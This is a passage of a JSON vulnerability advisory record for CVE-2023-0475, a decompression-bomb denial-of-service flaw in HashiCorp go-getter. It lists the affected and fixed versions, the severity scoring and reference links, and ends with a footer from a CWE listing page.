        "ecosystem": "Go",
        "name": "github.com/hashicorp/go-getter/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0"
            },
            {
              "fixed": "2.2.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-0475"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-409"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-02-16T23:34:17Z",
    "nvd_published_at": "2023-02-16T19:15:00Z",
    "severity": "MODERATE"
  },
  "details": "HashiCorp go-getter up to 1.6.2 and 2.1.1 is vulnerable to decompression bombs. Fixed in 1.7.0 and 2.2.0.",
  "id": "GHSA-jpxj-2jvg-6jv9",
  "modified": "2024-05-20T21:47:40Z",
  "published": "2023-02-16T21:30:28Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-0475"
    },
    {
      "type": "WEB",
      "url": "https://github.com/hashicorp/go-getter/commit/0edab85348271c843782993345b07b1ac98912e6"
    },
    {
      "type": "WEB",
      "url": "https://github.com/hashicorp/go-getter/commit/78e6721a2a76266718dc92c3c03c1571dffdefdc"
    },
    {
      "type": "WEB",
      "url": "https://discuss.hashicorp.com/t/hcsec-2023-4-go-getter-vulnerable-to-denial-of-service-via-malicious-compressed-archive/50125"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/hashicorp/go-getter"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:R/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Data Amplification in HashiCorp go-getter"
}

No mitigation information available for this CWE.

No CAPEC attack patterns related to this CWE.

← Back to the CWE list